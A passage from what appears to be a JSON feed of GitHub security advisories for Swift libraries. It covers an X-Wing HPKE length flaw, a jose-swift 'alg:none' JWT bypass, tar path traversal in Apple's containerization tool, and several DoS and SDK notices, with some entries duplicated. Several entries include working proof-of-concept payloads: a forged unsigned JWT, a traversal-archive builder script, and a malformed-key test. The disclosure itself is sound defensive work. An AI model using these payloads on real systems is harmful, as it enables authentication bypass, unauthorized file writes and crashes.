&amp;self.privateKey\n            )\n            guard rc == 1 else {\n                throw CryptoKitError.internalBoringSSLError()\n            }\n            count = Int(XWING_SHARED_SECRET_BYTES)\n        }\n    }\n}\n</code></pre>\n<p>The C API does not have a runtime length parameter and instead expects a fixed-size buffer of 1120 bytes.</p>\n<pre><code class=\"language-c\">#define XWING_CIPHERTEXT_BYTES 1120\n\nOPENSSL_EXPORT int XWING_decap(\n    uint8_t out_shared_secret[XWING_SHARED_SECRET_BYTES],\n    const uint8_t ciphertext[XWING_CIPHERTEXT_BYTES],\n    const struct XWING_private_key *private_key);\n</code></pre>\n<p>Since <code>decapsulate</code> accepts arguments of any length, an attacker controlled input can trigger an out-of-bounds read. The vulnerable code path can be reached through by initializing a <code>HPKE.Recipient</code>. This creates a new <code>HPKE.Context</code>, which decapsulates the attacker-controlled <code>enc</code> argument:</p>\n<pre><code class=\"language-swift\">init&lt;PrivateKey: HPKEKEMPrivateKey&gt;(recipientRoleWithCiphersuite ciphersuite: Ciphersuite, mode: Mode, enc: Data, psk: SymmetricKey?, pskID: Data?, skR: PrivateKey, info: Data, pkS: PrivateKey.PublicKey?) throws {\n    let sharedSecret = try skR.decapsulate(enc)\n    self.encapsulated = enc\n    self.keySchedule = try KeySchedule(mode: mode, sharedSecret: sharedSecret, info: info, psk: psk, pskID: pskID, ciphersuite: ciphersuite)\n}\n</code></pre>\n<h3 id=\"poc\">PoC</h3>\n<p>This PoC constructs an <code>HPKE.Recipient</code> using the X-Wing ciphersuite and deliberately passes a 1-byte <code>encapsulatedKey</code> instead of the required 1120 bytes. In a normal run, the malformed input is accepted and it reaches the vulnerable decapsulation path, i.e., no size rejection occurs. In an AddressSanitizer run, the same PoC produces a <code>dynamic-stack-buffer-overflow</code> read, confirming memory-unsafe behavior.</p>\n<pre><code class=\"language-swift\">//===----------------------------------------------------------------------===//\n//\n// PoC for X-Wing malformed ciphertext-length decapsulation:\n// X-Wing decapsulation accepts malformed ciphertext length and forwards it to C.\n//\n// This test is intentionally unsafe and is expected to crash (or trip ASan)\n// on vulnerable builds when run.\n//\n//===----------------------------------------------------------------------===//\n\n#if canImport(FoundationEssentials)\nimport FoundationEssentials\n#else\nimport Foundation\n#endif\nimport XCTest\n\n#if CRYPTO_IN_SWIFTPM &amp;&amp; !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API\n// Skip tests that require @testable imports of CryptoKit.\n#else\n#if !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API\n@testable import CryptoKit\n#else\n@testable import Crypto\n#endif\n\nfinal class XWingMalformedEncapsulationPoCTests: XCTestCase {\n    func testShortEncapsulatedKeyHPKERecipientInit() throws {\n        if #available(iOS 19.0, macOS 16.0, watchOS 12.0, tvOS 19.0, macCatalyst 19.0, *) {\n            let ciphersuite = HPKE.Ciphersuite.XWingMLKEM768X25519_SHA256_AES_GCM_256\n            let skR = try XWingMLKEM768X25519.PrivateKey.generate()\n            let malformedEncapsulatedKey = Data([0x00]) // should be 1120 bytes\n\n            // Vulnerable path: HPKE.Recipient -&gt; skR.decapsulate(enc) -&gt; XWING_decap(...)\n            _ = try HPKE.Recipient(\n                privateKey: skR,\n                ciphersuite: ciphersuite,\n                info: Data(),\n                encapsulatedKey: malformedEncapsulatedKey\n            )\n\n            XCTFail(\"Unexpectedly returned from malformed decapsulation path\")\n        }\n    }\n}\n\n#endif // CRYPTO_IN_SWIFTPM\n</code></pre>\n<h4 id=\"steps\">Steps</h4>\n<ol>\n<li>Add the PoC XCTest above to the test suite.</li>\n<li>Run the PoC normally to verify that malformed input is not rejected by length:<pre><code class=\"language-bash\">swift test --filter XWingMalformedEncapsulationPoCTests/testShortEncapsulatedKeyHPKERecipientInit\n</code></pre>\n</li>\n<li>Run the same PoC with AddressSanitizer enabled to detect out-of-bounds memory access:<pre><code class=\"language-bash\">swift test --sanitize=address --filter XWingMalformedEncapsulationPoCTests/testShortEncapsulatedKeyHPKERecipientInit\n</code></pre>\n</li>\n</ol>\n<h4 id=\"results\">Results</h4>\n<h5 id=\"normal-run\">Normal run</h5>\n<p>The PoC test reaches the <code>XCTFail</code> path. <code>HPKE.Recipient(...)</code> accepted a <code>1</code>-byte X-Wing encapsulated key instead of rejecting it for incorrect length.</p>\n<pre><code class=\"language-text\">Test Case 'XWingMalformedEncapsulationPoCTests.testShortEncapsulatedKeyHPKERecipientInit' started\n... failed - Unexpectedly returned from malformed decapsulation path\n</code></pre>\n<h5 id=\"addresssanitizer-run\">AddressSanitizer run</h5>\n<p>The sanitizer run aborts with a read overflow while executing the same PoC path. This confirms the memory-safety violation. The malformed ciphertext reaches memory-unsafe behavior in the decapsulation chain.</p>\n<pre><code class=\"language-text\">ERROR: AddressSanitizer: dynamic-stack-buffer-overflow\nREAD of size 1\n...\nSUMMARY: AddressSanitizer: dynamic-stack-buffer-overflow\n==...==ABORTING\n</code></pre>\n<h3 id=\"impact\">Impact</h3>\n<p>A remote attacker can supply a short X-Wing HPKE encapsulated key and trigger an out-of-bounds read in the C decapsulation path, potentially causing a crash or memory disclosure depending on runtime protections.</p>\n<p>Reported by Cantina.</p>\n<h3 id=\"references\">References</h3>\n<ul>\n<li><a href=\"https://github.com/apple/swift-crypto/security/advisories/GHSA-9m44-rr2w-ppp7\">https://github.com/apple/swift-crypto/security/advisories/GHSA-9m44-rr2w-ppp7</a></li>\n<li><a href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-28815\">https://nvd.nist.gov/vuln/detail/CVE-2026-28815</a></li>\n<li><a href=\"https://github.com/advisories/GHSA-9m44-rr2w-ppp7\">https://github.com/advisories/GHSA-9m44-rr2w-ppp7</a></li>\n</ul>\n",
            "url": "https://github.com/advisories/GHSA-9m44-rr2w-ppp7",
            "title": "[swift-crypto] Swift Crypto: X-Wing HPKE Decapsulation Accepts Malformed Ciphertext Length",
            "date_modified": "2026-04-03T03:39:42.000Z",
            "date_published": "2026-04-03T03:39:38.000Z",
            "author": {
                "name": "GitHub",
                "url": "https://github.com/advisories/GHSA-9m44-rr2w-ppp7"
            },
            "tags": [
                "severity"
            ]
        },
        {
            "content_html": "<h3 id=\"summary\">Summary</h3>\n<p>An authentication bypass vulnerability allows any unauthenticated attacker to forge arbitrary JWT tokens by setting \"alg\": \"none\" in the token header. The library's verification functions immediately return <code>true</code> for such tokens without performing any cryptographic verification, enabling complete impersonation of any user and privilege escalation.</p>\n<h3 id=\"details\">Details</h3>\n<p>  The vulnerability exists in Sources/JSONWebSignature/JWS+Verify.swift at lines 34-37:</p>\n<pre><code>  public func verify&lt;Key&gt;(key: Key?) throws -&gt; Bool {\n      guard SigningAlgorithm.none != protectedHeader.algorithm else {\n          return true  // &lt;-- Vulnerability: returns true without verification\n      }\n</code></pre>\n<p>  When the JWT header contains \"alg\": \"none\", the verify() method returns true immediately without:</p>\n<ol>\n<li>Checking if the signature is empty or present</li>\n<li>Validating the token against any key</li>\n<li>Requiring explicit opt-in from the caller</li>\n</ol>\n<p> The SigningAlgorithm enum in Sources/JSONWebAlgorithms/Signatures/SigningAlgorithm.swift:72 explicitly includes case none = \"none\" as a valid algorithm.</p>\n<p>  All verification methods are affected:</p>\n<ul>\n<li>JWS.verify(key:) - Instance method</li>\n<li>JWS.verify(jwsString:payload:key:) - Static method</li>\n<li>JWT.verify(jwtString:senderKey:) - High-level API</li>\n</ul>\n<h3 id=\"poc\">PoC</h3>\n<ol>\n<li>Create a forged JWT with modified claims:\n  // Forged header with alg:none\n  let header = #\"{\"alg\":\"none\",\"typ\":\"JWT\"}\"#</li>\n</ol>\n<p>  // Attacker's payload with escalated privileges\n  let payload = #\"{\"sub\":\"user123\",\"admin\":true}\"#</p>\n<p>  // Base64URL encode and concatenate with empty signature\n  let forgedToken = base64url(header) + \".\" + base64url(payload) + \".\"\n  // Result: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJ1c2VyMTIzIiwiYWRtaW4iOnRydWV9.</p>\n<ol start=\"2\">\n<li>Verify the forged token passes verification:\n  let jws = try JWS(jwsString: forgedToken)\n  let isValid = try jws.verify(key: legitimateSecretKey)  // Returns TRUE</li>\n</ol>\n<h3 id=\"impact\">Impact</h3>\n<p>  This is an authentication bypass vulnerability.   Who is impacted: Any application using jose-swift for JWT verification is vulnerable. An attacker can:</p>\n<ul>\n<li>Forge identity: Create tokens claiming to be any user</li>\n<li>Escalate privileges: Add admin/superuser claims to gain unauthorized access</li>\n<li>Bypass authentication entirely: Access protected resources without valid credentials</li>\n<li>Modify any claim: Change expiration, audience, issuer, or any custom claims</li>\n</ul>\n<p>  The attack requires no knowledge of the signing key and works against all signature algorithms (HS256, RS256, ES256, etc.) since the attacker simply bypasses signature verification entirely.</p>\n<h3 id=\"credits\">Credits</h3>\n<p>Reported by Louis Nyffenegger - <a href=\"https://pentesterlab.com/\">https://pentesterlab.com/</a></p>\n<h3 id=\"references\">References</h3>\n<ul>\n<li><a href=\"https://github.com/beatt83/jose-swift/security/advisories/GHSA-88q6-jcjg-hvmw\">https://github.com/beatt83/jose-swift/security/advisories/GHSA-88q6-jcjg-hvmw</a></li>\n<li><a href=\"https://github.com/beatt83/jose-swift/pull/62\">https://github.com/beatt83/jose-swift/pull/62</a></li>\n<li><a href=\"https://github.com/beatt83/jose-swift/commit/13e5ae6f23ef1487b0dad72540eff414272bd7ca\">https://github.com/beatt83/jose-swift/commit/13e5ae6f23ef1487b0dad72540eff414272bd7ca</a></li>\n<li><a href=\"https://github.com/beatt83/jose-swift/releases/tag/6.0.2\">https://github.com/beatt83/jose-swift/releases/tag/6.0.2</a></li>\n<li><a href=\"https://github.com/advisories/GHSA-88q6-jcjg-hvmw\">https://github.com/advisories/GHSA-88q6-jcjg-hvmw</a></li>\n</ul>\n",
            "url": "https://github.com/advisories/GHSA-88q6-jcjg-hvmw",
            "title": "[github.com/beatt83/jose-swift] jose-swift has JWT Signature Verification Bypass via None Algorithm",
            "date_modified": "2026-03-25T20:10:47.000Z",
            "date_published": "2026-01-09T19:39:30.000Z",
            "author": {
                "name": "GitHub",
                "url": "https://github.com/advisories/GHSA-88q6-jcjg-hvmw"
            },
            "tags": [
                "severity"
            ]
        },
        {
            "content_html": "<h3 id=\"summary\">Summary</h3>\n<p>The <code>ArchiveReader.extractContents()</code> function used by <code>cctl image load</code> and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames.</p>\n<h3 id=\"details\">Details</h3>\n<p>The code in question is: <a href=\"https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180\">https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180</a>.</p>\n<pre><code class=\"language-swift\">    /// Extracts the contents of an archive to the provided directory.\n    /// Currently only handles regular files and directories present in the archive.\n    public func extractContents(to directory: URL) throws {\n        let fm = FileManager.default\n        var foundEntry = false\n        for (entry, data) in self {\n            guard let p = entry.path else { continue }\n            foundEntry = true\n            let type = entry.fileType\n            let target = directory.appending(path: p)\n            switch type {\n            case .regular:\n                try data.write(to: target, options: .atomic)\n            case .directory:\n                try fm.createDirectory(at: target, withIntermediateDirectories: true)\n            case .symbolicLink:\n                guard let symlinkTarget = entry.symlinkTarget, let linkTargetURL = URL(string: symlinkTarget, relativeTo: target) else {\n                    continue\n                }\n                try fm.createSymbolicLink(at: target, withDestinationURL: linkTargetURL)\n            default:\n                continue\n            }\n            chmod(target.path(), entry.permissions)\n            if let owner = entry.owner, let group = entry.group {\n                chown(target.path(), owner, group)\n            }\n        }\n        guard foundEntry else {\n            throw ArchiveError.failedToExtractArchive(\"no entries found in archive\")\n        }\n    }\n</code></pre>\n<h3 id=\"poc\">PoC</h3>\n<p>Sample script <code>make-evil-tar.py</code>:</p>\n<pre><code class=\"language-python\">#! /usr/bin/env python3\n\nimport tarfile\nimport io\nimport time\n\ntar_path = \"evil.tar\"\n\n# Content of the file inside the tar\npayload = b\"pwned\\n\"\n\nwith tarfile.open(tar_path, \"w\") as tar:\n    info = tarfile.TarInfo(\n        name=\"../../../../../../../../../../../tmp/pwned.txt\"\n    )\n    info.size = len(payload)\n    info.mtime = int(time.time())\n    info.mode = 0o644\n\n    tar.addfile(info, io.BytesIO(payload))\n\nprint(f\"Created {tar_path}\")\n</code></pre>\n<pre><code class=\"language-console\">% ./make-evil-tar.py\nCreated evil.tar\n% mv evil.tar /tmp\n% cd /tmp\n% ls pwned.txt\nls: pwned.txt: No such file or directory\n% ~/projects/jglogan/containerization/bin/cctl images load -i evil.tar\nError: notFound: \"/var/folders/6k/tnyh0vfd07z0f9mr5cg7zs5r0000gn/T/8493984C-33AE-44BB-91BB-AE486F3095FC/oci-layout\"\n% cat pwned.txt \npwned\n</code></pre>\n<h3 id=\"impact\">Impact</h3>\n<p>Affects users of <code>cctl image load</code> in the containerization project, and any projects that depend on containerization and use the <code>extractContent()</code> function.</p>\n<p>Affects users of <code>container image load</code> in the container project.</p>\n<p>These operations can extract a file into any user-writable location on the system using carefully chosen pathnames. This advisory is <strong>not</strong> a privilege escalation, the affected files can only be written to already user-writable locations.</p>\n<h3 id=\"references\">References</h3>\n<ul>\n<li><a href=\"https://github.com/apple/containerization/security/advisories/GHSA-cq3j-qj2h-6rv3\">https://github.com/apple/containerization/security/advisories/GHSA-cq3j-qj2h-6rv3</a></li>\n<li><a href=\"https://github.com/apple/containerization/commit/3e93416b9a6d7b4c25fff7e9dea22a9ca687ee52\">https://github.com/apple/containerization/commit/3e93416b9a6d7b4c25fff7e9dea22a9ca687ee52</a></li>\n<li><a href=\"https://github.com/advisories/GHSA-cq3j-qj2h-6rv3\">https://github.com/advisories/GHSA-cq3j-qj2h-6rv3</a></li>\n</ul>\n",
            "url": "https://github.com/advisories/GHSA-cq3j-qj2h-6rv3",
            "title": "[github.com/apple/container] Container and Containerization archive extraction does not guard against escapes from extraction base directory.",
            "date_modified": "2026-01-22T22:30:06.000Z",
            "date_published": "2026-01-22T22:30:05.000Z",
            "author": {
                "name": "GitHub",
                "url": "https://github.com/advisories/GHSA-cq3j-qj2h-6rv3"
            },
            "tags": [
                "severity"
            ]
        },
        {
            "content_html": "<h3 id=\"summary\">Summary</h3>\n<p>The <code>ArchiveReader.extractContents()</code> function used by <code>cctl image load</code> and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames.</p>\n<h3 id=\"details\">Details</h3>\n<p>The code in question is: <a href=\"https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180\">https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180</a>.</p>\n<pre><code class=\"language-swift\">    /// Extracts the contents of an archive to the provided directory.\n    /// Currently only handles regular files and directories present in the archive.\n    public func extractContents(to directory: URL) throws {\n        let fm = FileManager.default\n        var foundEntry = false\n        for (entry, data) in self {\n            guard let p = entry.path else { continue }\n            foundEntry = true\n            let type = entry.fileType\n            let target = directory.appending(path: p)\n            switch type {\n            case .regular:\n                try data.write(to: target, options: .atomic)\n            case .directory:\n                try fm.createDirectory(at: target, withIntermediateDirectories: true)\n            case .symbolicLink:\n                guard let symlinkTarget = entry.symlinkTarget, let linkTargetURL = URL(string: symlinkTarget, relativeTo: target) else {\n                    continue\n                }\n                try fm.createSymbolicLink(at: target, withDestinationURL: linkTargetURL)\n            default:\n                continue\n            }\n            chmod(target.path(), entry.permissions)\n            if let owner = entry.owner, let group = entry.group {\n                chown(target.path(), owner, group)\n            }\n        }\n        guard foundEntry else {\n            throw ArchiveError.failedToExtractArchive(\"no entries found in archive\")\n        }\n    }\n</code></pre>\n<h3 id=\"poc\">PoC</h3>\n<p>Sample script <code>make-evil-tar.py</code>:</p>\n<pre><code class=\"language-python\">#! /usr/bin/env python3\n\nimport tarfile\nimport io\nimport time\n\ntar_path = \"evil.tar\"\n\n# Content of the file inside the tar\npayload = b\"pwned\\n\"\n\nwith tarfile.open(tar_path, \"w\") as tar:\n    info = tarfile.TarInfo(\n        name=\"../../../../../../../../../../../tmp/pwned.txt\"\n    )\n    info.size = len(payload)\n    info.mtime = int(time.time())\n    info.mode = 0o644\n\n    tar.addfile(info, io.BytesIO(payload))\n\nprint(f\"Created {tar_path}\")\n</code></pre>\n<pre><code class=\"language-console\">% ./make-evil-tar.py\nCreated evil.tar\n% mv evil.tar /tmp\n% cd /tmp\n% ls pwned.txt\nls: pwned.txt: No such file or directory\n% ~/projects/jglogan/containerization/bin/cctl images load -i evil.tar\nError: notFound: \"/var/folders/6k/tnyh0vfd07z0f9mr5cg7zs5r0000gn/T/8493984C-33AE-44BB-91BB-AE486F3095FC/oci-layout\"\n% cat pwned.txt \npwned\n</code></pre>\n<h3 id=\"impact\">Impact</h3>\n<p>Affects users of <code>cctl image load</code> in the containerization project, and any projects that depend on containerization and use the <code>extractContent()</code> function.</p>\n<p>Affects users of <code>container image load</code> in the container project.</p>\n<p>These operations can extract a file into any user-writable location on the system using carefully chosen pathnames. This advisory is <strong>not</strong> a privilege escalation, the affected files can only be written to already user-writable locations.</p>\n<h3 id=\"references\">References</h3>\n<ul>\n<li><a href=\"https://github.com/apple/containerization/security/advisories/GHSA-cq3j-qj2h-6rv3\">https://github.com/apple/containerization/security/advisories/GHSA-cq3j-qj2h-6rv3</a></li>\n<li><a href=\"https://github.com/apple/containerization/commit/3e93416b9a6d7b4c25fff7e9dea22a9ca687ee52\">https://github.com/apple/containerization/commit/3e93416b9a6d7b4c25fff7e9dea22a9ca687ee52</a></li>\n<li><a href=\"https://github.com/advisories/GHSA-cq3j-qj2h-6rv3\">https://github.com/advisories/GHSA-cq3j-qj2h-6rv3</a></li>\n</ul>\n",
            "url": "https://github.com/advisories/GHSA-cq3j-qj2h-6rv3",
            "title": "[github.com/apple/containerization] Container and Containerization archive extraction does not guard against escapes from extraction base directory.",
            "date_modified": "2026-01-22T22:30:06.000Z",
            "date_published": "2026-01-22T22:30:05.000Z",
            "author": {
                "name": "GitHub",
                "url": "https://github.com/advisories/GHSA-cq3j-qj2h-6rv3"
            },
            "tags": [
                "severity"
            ]
        },
        {
            "content_html": "<h3 id=\"impact\">Impact</h3>\n<p>A denial-of-service vulnerability due to improper input validation allows a remote attacker to crash the service via a malformed HTTP header.</p>\n<p>Allows crashing the process with data coming from the network when used with, for example, an HTTP server. Most common way of using Swift W3C Trace Context is through Swift OTel.</p>\n<h3 id=\"patches\">Patches</h3>\n<p><a href=\"https://github.com/swift-otel/swift-w3c-trace-context/commit/5da9b143ba6046734de3fa51dafea28290174e4e\">https://github.com/swift-otel/swift-w3c-trace-context/commit/5da9b143ba6046734de3fa51dafea28290174e4e</a></p>\n<h3 id=\"workarounds\">Workarounds</h3>\n<p>Disable either Swift OTel or the code that extracts the trace information from an incoming header (such as a <code>TracingMiddleware</code>).</p>\n<h3 id=\"references\">References</h3>\n<p><a href=\"https://github.com/swift-otel/swift-w3c-trace-context/releases/tag/1.0.0-beta.5\">Swift W3C TraceContext 1.0.0-beta.5</a>\n<a href=\"https://github.com/swift-otel/swift-otel/releases/tag/1.0.4\">Swift OTel 1.0.4</a></p>\n<h3 id=\"references-1\">References</h3>\n<ul>\n<li><a href=\"https://github.com/swift-otel/swift-w3c-trace-context/security/advisories/GHSA-mvpq-2v8x-ww6g\">https://github.com/swift-otel/swift-w3c-trace-context/security/advisories/GHSA-mvpq-2v8x-ww6g</a></li>\n<li><a href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-23886\">https://nvd.nist.gov/vuln/detail/CVE-2026-23886</a></li>\n<li><a href=\"https://github.com/swift-otel/swift-w3c-trace-context/commit/5da9b143ba6046734de3fa51dafea28290174e4e\">https://github.com/swift-otel/swift-w3c-trace-context/commit/5da9b143ba6046734de3fa51dafea28290174e4e</a></li>\n<li><a href=\"https://github.com/swift-otel/swift-otel/releases/tag/1.0.4\">https://github.com/swift-otel/swift-otel/releases/tag/1.0.4</a></li>\n<li><a href=\"https://github.com/swift-otel/swift-w3c-trace-context/releases/tag/1.0.0-beta.5\">https://github.com/swift-otel/swift-w3c-trace-context/releases/tag/1.0.0-beta.5</a></li>\n<li><a href=\"https://github.com/advisories/GHSA-mvpq-2v8x-ww6g\">https://github.com/advisories/GHSA-mvpq-2v8x-ww6g</a></li>\n</ul>\n",
            "url": "https://github.com/advisories/GHSA-mvpq-2v8x-ww6g",
            "title": "[github.com/swift-otel/swift-otel] Swift W3C TraceContext vulnerable to a malformed HTTP header causing a crash",
            "date_modified": "2026-01-21T01:05:11.000Z",
            "date_published": "2026-01-21T01:05:09.000Z",
            "author": {
                "name": "GitHub",
                "url": "https://github.com/advisories/GHSA-mvpq-2v8x-ww6g"
            },
            "tags": [
                "severity"
            ]
        },
        {
            "content_html": "<h3 id=\"impact\">Impact</h3>\n<p>A denial-of-service vulnerability due to improper input validation allows a remote attacker to crash the service via a malformed HTTP header.</p>\n<p>Allows crashing the process with data coming from the network when used with, for example, an HTTP server. Most common way of using Swift W3C Trace Context is through Swift OTel.</p>\n<h3 id=\"patches\">Patches</h3>\n<p><a href=\"https://github.com/swift-otel/swift-w3c-trace-context/commit/5da9b143ba6046734de3fa51dafea28290174e4e\">https://github.com/swift-otel/swift-w3c-trace-context/commit/5da9b143ba6046734de3fa51dafea28290174e4e</a></p>\n<h3 id=\"workarounds\">Workarounds</h3>\n<p>Disable either Swift OTel or the code that extracts the trace information from an incoming header (such as a <code>TracingMiddleware</code>).</p>\n<h3 id=\"references\">References</h3>\n<p><a href=\"https://github.com/swift-otel/swift-w3c-trace-context/releases/tag/1.0.0-beta.5\">Swift W3C TraceContext 1.0.0-beta.5</a>\n<a href=\"https://github.com/swift-otel/swift-otel/releases/tag/1.0.4\">Swift OTel 1.0.4</a></p>\n<h3 id=\"references-1\">References</h3>\n<ul>\n<li><a href=\"https://github.com/swift-otel/swift-w3c-trace-context/security/advisories/GHSA-mvpq-2v8x-ww6g\">https://github.com/swift-otel/swift-w3c-trace-context/security/advisories/GHSA-mvpq-2v8x-ww6g</a></li>\n<li><a href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-23886\">https://nvd.nist.gov/vuln/detail/CVE-2026-23886</a></li>\n<li><a href=\"https://github.com/swift-otel/swift-w3c-trace-context/commit/5da9b143ba6046734de3fa51dafea28290174e4e\">https://github.com/swift-otel/swift-w3c-trace-context/commit/5da9b143ba6046734de3fa51dafea28290174e4e</a></li>\n<li><a href=\"https://github.com/swift-otel/swift-otel/releases/tag/1.0.4\">https://github.com/swift-otel/swift-otel/releases/tag/1.0.4</a></li>\n<li><a href=\"https://github.com/swift-otel/swift-w3c-trace-context/releases/tag/1.0.0-beta.5\">https://github.com/swift-otel/swift-w3c-trace-context/releases/tag/1.0.0-beta.5</a></li>\n<li><a href=\"https://github.com/advisories/GHSA-mvpq-2v8x-ww6g\">https://github.com/advisories/GHSA-mvpq-2v8x-ww6g</a></li>\n</ul>\n",
            "url": "https://github.com/advisories/GHSA-mvpq-2v8x-ww6g",
            "title": "[github.com/swift-otel/swift-w3c-trace-context] Swift W3C TraceContext vulnerable to a malformed HTTP header causing a crash",
            "date_modified": "2026-01-21T01:05:11.000Z",
            "date_published": "2026-01-21T01:05:09.000Z",
            "author": {
                "name": "GitHub",
                "url": "https://github.com/advisories/GHSA-mvpq-2v8x-ww6g"
            },
            "tags": [
                "severity"
            ]
        },
        {
            "content_html": "<p>CVSSv3.1 Rating: 3.7 (LOW)</p>\n<p>Summary\nThis notification is related to the use of specific values for the region input field when calling AWS services. An actor with access to the environment in which the SDK is used could set the region input field to an invalid value.</p>\n<p>A defense-in-depth enhancement has been implemented in the AWS SDK for Swift. This enhancement validates that a region used to construct an endpoint URL is a valid host label. The change was released on November 6, 2025. This advisory is informational to help customers understand their responsibilities regarding configuration security.</p>\n<p>Impact\nCustomer applications could be configured to improperly route AWS API calls to non-existent or non-AWS hosts. While the SDK was functioning safely within the requirements of the shared responsibility model, additional safeguards have been added to support secure customer implementations.</p>\n<p>Impacted versions: All versions prior to 2025-11-06 release (below 1.5.79) </p>\n<p>Patches\nOn November 6, 2025 an enhancement was made to the AWS SDK for Swift release, which validates the formatting of a region, providing additional safeguards.</p>\n<p>Workarounds\nNo workarounds are needed, but as always you should ensure that your application is following security best practices:</p>\n<ul>\n<li>Implement proper input validation in your application code</li>\n<li>Update to the latest AWS SDK for Swift release on a regular basis</li>\n<li>Follow AWS security best practices [1] for SDK configuration</li>\n</ul>\n<p>References\nContact AWS Security via the vulnerability reporting page or email <a href=\"mailto:aws-security@amazon.com\">aws-security@amazon.com</a>.</p>\n<p>Acknowledgement\nAWS SDK thanks Guy Arazi for bringing these customer security considerations to our attention through the coordinated disclosure process.</p>\n<p>&nbsp;</p>\n<p>[1] <a href=\"https://docs.aws.amazon.com/sdk-for-swift/latest/developer-guide/security.html\">https://docs.aws.amazon.com/sdk-for-swift/latest/developer-guide/security.html</a></p>\n<h3 id=\"references\">References</h3>\n<ul>\n<li><a href=\"https://github.com/awslabs/aws-sdk-swift/security/advisories/GHSA-pc9j-5v36-2mww\">https://github.com/awslabs/aws-sdk-swift/security/advisories/GHSA-pc9j-5v36-2mww</a></li>\n<li><a href=\"https://github.com/advisories/GHSA-pc9j-5v36-2mww\">https://github.com/advisories/GHSA-pc9j-5v36-2mww</a></li>\n</ul>\n",
            "url": "https://github.com/advisories/GHSA-pc9j-5v36-2mww",
            "title": "[github.com/awslabs/aws-sdk-swift] AWS SDK for Swift adopted defense in depth enhancement for region parameter value",
            "date_modified": "2026-01-08T22:12:17.000Z",
            "date_published": "2026-01-08T22:12:15.000Z",
            "author": {
                "name": "GitHub",
                "url": "https://github.com/advisories/GHSA-pc9j-5v36-2mww"
            },
            "tags": [
                "severity"
            ]
        },
        {
            "content_html": "<p>The HTTP/2 <a href=\"https://galbarnahum.com/made-you-reset\">MadeYouReset vulnerability</a> has a mild effect on swift-nio-http2.</p>\n<p>swift-nio-http2 mostly protects against MadeYouReset by using a number of existing denial-of-service prevention patterns that we added in response to the RapidReset vulnerabilities. The result is that servers are not vulnerable to naive attacks based on MadeYouReset, and the naive PoC examples do not affect swift-nio-http2.</p>\n<p>However, in 1.38.0 we added some defense-in-depth measures as a precautionary measure that detect clients behaving \"weirdly\". These defense in depth measures tackle resource drain attacks where attackers interleave attack traffic with legitimate traffic to try to evade our existing DoS prevention mechanisms.</p>\n<p>We recommend all adopters move to 1.38.0 as soon as possible to mitigate against more sophisticated attacks that may appear in the future.</p>\n<p>We are very grateful to @galbarnahum, @AnatBB, and @YanivRL for their reporting and assistance with our process.</p>\n<h3 id=\"references\">References</h3>\n<ul>\n<li><a href=\"https://github.com/apple/swift-nio-http2/security/advisories/GHSA-xvr7-p2c6-j83w\">https://github.com/apple/swift-nio-http2/security/advisories/GHSA-xvr7-p2c6-j83w</a></li>\n<li><a href=\"https://github.com/advisories/GHSA-xvr7-p2c6-j83w\">https://github.com/advisories/GHSA-xvr7-p2c6-j83w</a></li>\n</ul>\n",
            "url": "https://github.com/advisories/GHSA-xvr7-p2c6-j83w",
            "title": "[github.com/apple/swift-nio-http2] swift-nio-http2 affected by HTTP/2 MadeYouReset vulnerability",
            "date_modified": "2025-08-13T23:54:02.000Z",
            "date_published": "2025-08-13T23:54:02.000Z",
            "author": {
                "name": "GitHub",
                "url": "https://github.com/advisories/GHSA-xvr7-p2c6-j83w"
            },
            "tags": [
                "severity"
            ]
        },
        {
            "content_html": "<p>A SwiftNIO application using TLS may be able to execute arbitrary code. The issue was addressed by signaling that an executable stack is not required. This issue is fixed in SwiftNIO SSL 2.4.1.</p>\n<h3 id=\"references\">References</h3>\n<ul>\n<li><a href=\"https://nvd.nist.gov/vuln/detail/CVE-2019-8849\">https://nvd.nist.gov/vuln/detail/CVE-2019-8849</a></li>\n<li><a href=\"https://support.apple.com/HT210772\">https://support.apple.com/HT210772</a></li>\n<li><a href=\"https://github.com/apple/swift-nio-ssl/commit/109faef770994e71b6bafcc015e2e96b88a4af8c\">https://github.com/apple/swift-nio-ssl/commit/109faef770994e71b6bafcc015e2e96b88a4af8c</a></li>\n<li><a href=\"https://github.com/apple/swift-nio-ssl/releases/tag/2.4.1\">https://github.com/apple/swift-nio-ssl/releases/tag/2.4.1</a></li>\n<li><a href=\"https://security.snyk.io/vuln/SNYK-COCOAPODS-SWIFTNIOSSL-8492737\">https://security.snyk.io/vuln/SNYK-COCOAPODS-SWIFTNIOSSL-8492737</a></li>\n<li><a href=\"https://github.com/advisories/GHSA-frg3-gpcx-968f\">https://github.com/advisories/GHSA-frg3-gpcx-968f</a></li>\n</ul>\n",
            "url": "https://github.com/advisories/GHSA-frg3-gpcx-968f",
            "title": "[github.com/apple/swift-nio-ssl] SwiftNIO SSL arbitrary code execution vulnerability",
            "date_modified": "2025-08-05T15:41:41.000Z",
            "date_published": "2022-05-24T17:04:41.000Z",
            "author": {
                "name": "GitHub",
                "url": "https://github.com/advisories/GHSA-frg3-gpcx-968f"
            },
            "tags": [
                "severity"
            ]
        },
        {
